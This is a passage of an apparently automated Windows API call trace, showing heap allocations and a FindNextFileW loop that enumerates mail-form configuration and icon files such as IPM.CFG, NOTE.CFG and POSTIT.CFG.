(HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fb38 [0069.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107a288 [0069.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.784] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb999900, ftCreationTime.dwHighDateTime=0x1c451be, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb999900, ftLastWriteTime.dwHighDateTime=0x1c451be, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMAIL.CFG", cAlternateFileName="")) returned 1 [0069.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fb58 [0069.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107a390 [0069.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.785] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d0fd900, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d0fd900, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOML.ICO", cAlternateFileName="")) returned 1 [0069.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fb78 [0069.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107a498 [0069.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.786] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1839500, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1839500, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMS.ICO", cAlternateFileName="")) returned 1 [0069.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fb98 [0069.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107a5a0 [0069.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.786] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPM.CFG", cAlternateFileName="")) returned 1 [0069.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1758060 [0069.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067ee8 [0069.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4100) returned 0x175c048 [0069.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.787] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPML.ICO", cAlternateFileName="")) returned 1 [0069.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1758080 [0069.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067f70 [0069.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.788] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPMS.ICO", cAlternateFileName="")) returned 1 [0069.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x17580a0 [0069.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067ff8 [0069.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.789] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97071d00, ftCreationTime.dwHighDateTime=0x1c67f43, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97071d00, ftLastWriteTime.dwHighDateTime=0x1c67f43, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSL.ICO", cAlternateFileName="")) returned 1 [0069.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x17580c0 [0069.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1068080 [0069.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.789] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7feec00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7feec00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSS.ICO", cAlternateFileName="")) returned 1 [0069.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x17580e0 [0069.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1068108 [0069.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.790] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTE.CFG", cAlternateFileName="")) returned 1 [0069.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1758100 [0069.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1068190 [0069.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.790] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEL.ICO", cAlternateFileName="")) returned 1 [0069.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1758120 [0069.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1068218 [0069.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.791] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTES.ICO", cAlternateFileName="")) returned 1 [0069.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1758140 [0069.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10682a0 [0069.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.791] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142d2200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x142d2200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMMS.CFG", cAlternateFileName="")) returned 1 [0069.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1758160 [0069.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107a6a8 [0069.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.794] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x273ff200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x273ff200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSSMS.CFG", cAlternateFileName="")) returned 1 [0069.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1758180 [0069.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107a7b0 [0069.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.794] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFL.ICO", cAlternateFileName="")) returned 1 [0069.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x17581a0 [0069.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1068328 [0069.795] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.795] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFS.ICO", cAlternateFileName="")) returned 1 [0069.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.795] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.795] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x17581c0 [0069.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10683b0 [0069.795] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.795] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4466a600, ftCreationTime.dwHighDateTime=0x1c9449a, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4466a600, ftLastWriteTime.dwHighDateTime=0x1c9449a, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFTMPL.CFG", cAlternateFileName="")) returned 1 [0069.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.795] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.796] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x17581e0 [0069.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107a8b8 [0069.796] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.796] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fb15d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POST.CFG", cAlternateFileName="")) returned 1 [0069.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.796] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.796] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1758200 [0069.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1068438 [0069.796] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.796] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTIT.CFG", cAlternateFileName="")) returned 1 [0069.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.797] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.797] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1758220 [0069.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107a9c0 [0069.797] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.797] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITL.ICO", cAlternateFileName="")) returned 1 [0069.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.797] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.797] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1758240 [0069.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107aac8 [0069.798] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.798] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, 